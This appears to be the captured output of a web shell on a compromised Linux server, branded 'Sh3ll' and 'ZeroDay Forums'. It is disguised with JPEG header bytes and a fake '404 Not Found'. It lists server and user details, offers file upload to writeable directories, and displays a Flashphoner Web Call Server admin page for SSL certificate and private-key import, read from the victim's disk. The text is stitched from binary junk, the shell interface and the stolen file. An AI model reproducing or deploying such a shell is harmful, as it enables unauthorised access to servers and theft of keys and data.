����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /usr/local/FlashphonerWebCallServer/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/FlashphonerWebCallServer/web/certificates.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flashphoner Web Call Server</title>
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" href="css/font-awesome.min.css">
    <link rel="icon" href="img/favicon.png">
    <script src="js/jquery-1.12.4.js"></script>
    <script src="js/jquery.cookie.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <style>
        .navbar-nav > li {
            padding-left: 20px;
            padding-right: 20px;
        }
    </style>
</head>
<body>
    <!--Modal alert-->
    <div class="modal fade" id="modalInfo" tabindex="-1" role="dialog">
        <div class="modal-dialog" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title text-muted">Warning</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div id="modalBody"></div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <nav class="navbar navbar-expand navbar-light bg-light">
        <div class="collapse navbar-collapse">
            <ul class="navbar-nav mr-auto">
                <li class="nav-item active">
                    <a class="nav-link" href="demo.html"><i class="fa fa-play-circle-o fa-lg" aria-hidden="true"></i> Demo</a>
                </li>
                <li class="nav-item dropdown">
                    <a class="nav-link dropdown-toggle" id="securityDrpdwn" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fa fa-user-secret fa-lg"></i> Security</a>
                    <div class="dropdown-menu" aria-labelledby="securityDrpdwn">
                        <a class="dropdown-item" href="certificates.html"><i class="fa fa-certificate fa-lg"></i> Certificates</a>
                        <a class="dropdown-item" href="passwords.html"><i class="fa fa-key fa-lg"></i> Set password</a>
                    </div>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="license.html"><i class="fa fa-files-o fa-lg"></i> License</a>
                </li>

            </ul>
            <ul class="navbar-nav">
                <li class="nav-item">
                    <a class="nav-link"><span id="version"></span></a>
                </li>
                <li class="nav-item dropdown">
                    <a class="nav-link dropdown-toggle" id="user" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fa fa-user fa-lg"> </i><span id="username"> </span></a>
                    <div class="dropdown-menu" aria-labelledby="user">
                        <a class="dropdown-item" href="#" id="logout"><i class="fa fa-sign-out fa-lg"></i> Logout</a>
                    </div>
                </li>
            </ul>
        </div>
    </nav>
    <div class="container">
        <div class="row justify-content-center">
            <h1 class="text-center font-weight-bold">Import SSL Certificates</h1>
        </div>
        <div class="row justify-content-center">
            <div id="certInfo" class="d-none">
                <p class="text-primary">Domain:<span id="domain"></span></p>
            </div>
        </div>
        <div class="row justify-content-center">
            <form class="col-5">
                <fieldset>
                    <p class="font-weight-bold">Step 1. Upload Certificates</p>
                    <div class="form-group mb-3">
                        <div class="custom-file">
                            <input type="file" class="custom-file-input" id="uploadCerts" multiple>
                            <label for="uploadCerts" class="custom-file-label">Choose files...</label>
                        </div>

                    </div>
                    <button class="btn btn-primary" type="button" id="uploadCertsBtn">Upload</button>
                    <div class="d-none pt-2" id="publicCertInfo">
                        <div class="alert alert-info alert-dismissable" role="alert">
                            <button type="button" class="close" data-dismiss="alert"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span> </button>
                            <p></p>
                        </div>
                    </div>
                    <p class="font-weight-bold pt-2">Step 2. Upload your private key</p>
                    <div class="form-group mb-3">
                        <div class="custom-file">
                            <input type="file" class="custom-file-input" id="uploadPrivateKey" accept=".der, .pem, .pk" disabled>
                            <label for="uploadPrivateKey" class="custom-file-label">Choose file...</label>
                        </div>
                    </div>
                    <button class="btn btn-primary" type="button" id="uploadPrivateKeyBtn" disabled>Import</button>
                </fieldset>
            </form>
        </div>
        <div class="row justify-content-center">
            <a href="#" onclick="resetToDefaults()">Reset to defaults</a>
        </div>
        <div class="row justify-content-center">
            <h4 id="demo_alert" class="text-danger text-hide">SSL certificates can be updated by admin only!</h4>
        </div>
    </div>
    <script type="text/javascript">
        $(document).ready(function() {
            $("#username").text($.cookie("wcs_user"));
            if ($("#username").text() != "admin") {
                $("fieldset").attr('disabled', true);
                $("fieldset").hide();
                $("a:contains('Reset to defaults')").hide();
                $("#demo_alert").removeClass("text-hide");
            }
            $("#version").text($.cookie("wcs_version"));

            $("#logout").click(function(){
                $.ajax({
                    type: "POST",
                    url: "/admin/api/logout",
                    success: function (data, status, xhr) {
                        document.location = "/admin/"
                    }
                })
            });

            getCertInfo();
        });
        var certs;
        var key;
        $("#uploadCerts").on('change', function(e) {
            certs = e.target.files;
        });
        $("#uploadPrivateKey").on('change', function(e) {
            key = e.target.files;
        });
        $("#uploadCertsBtn").on('click', uploadFiles);
        $("#uploadPrivateKeyBtn").on('click', uploadKey);

        function getCertInfo() {
            $.ajax({
                url: "/admin/api/certificate/info",
                type: "POST",
                success: function(data, status, xhr) {
                    if (data.result && data.result.info) {
                	if (data.result.info.domain) {
                	    $("#certInfo").removeClass("d-none");
                	    $("#domain").text(data.result.info.domain);
                	}
                        if (data.result.info.domains) {
                            $("#certInfo").removeClass("d-none");
                            for (var i in data.result.info.domains) {
                                $("#domain").text(data.result.info.domains[i]);
                            }
                        }
                    }
                },
                error: function(xhr, status, error) {
                    console.log(error);
                }
            });
        }

        function uploadFiles(event) {
            event.stopPropagation();
            event.preventDefault();
            var data = new FormData();
            $.each(certs, function(k,v) {
                data.append(k, v);
            });
            $.ajax({
                url: "/admin/upload_public_certificates",
                type: "POST",
                data: data,
                cache: false,
                processData: false,
                contentType: false,
                success: function (data, status, xhr) {
                    $("#publicCertInfo p").text(data.info);
                    $("#publicCertInfo").removeClass('d-none');
                    $('[disabled]').each(function() {
                        $(this).prop('disabled', false);
                    })
                },
                error: function(xhr, status, error) {
                    $("#modalBody").text(xhr.responseText).addClass("text-danger");
                    $("#modalInfo").modal();
                }
            });
        }
        function uploadKey(event) {
            event.stopPropagation();
            event.preventDefault();
            var data = new FormData();
            $.each(key, function(k,v) {
                data.append(k, v);
            });
            $.ajax({
                url: "/admin/upload_private_key",
                type: "POST",
                data: data,
                cache: false,
                processData: false,
                contentType: false,
                success: function (data, status, xhr) {
                    $("#modalBody").text("Certificates has been imported.").addClass("text-success");
                    // $("#modalInfo").modal();
                    $('#modalInfo').on('hidden.bs.modal', function () {
                        document.location.reload(true);
                    }).modal();
                },
                error: function(xhr, status, error) {
                    $("#modalBody").text(xhr.responseText).addClass("text-warning");
                    $("#modalInfo").modal();
                }
            });
        }
        $('input').on('change', function() {
            let fileName = $(this).val();
            $(this).next('.custom-file-label').html(fileName.substring(fileName.lastIndexOf("\\")+1));
        })
        function resetToDefaults() {
            $.ajax({
                url: "/admin/api/certificate/reset",
                type: "POST",
                success: function (data, status, xhr) {
                    getCertInfo();
                }
            });
        }

    </script>
</body>
</html>

ZeroDay Forums Mini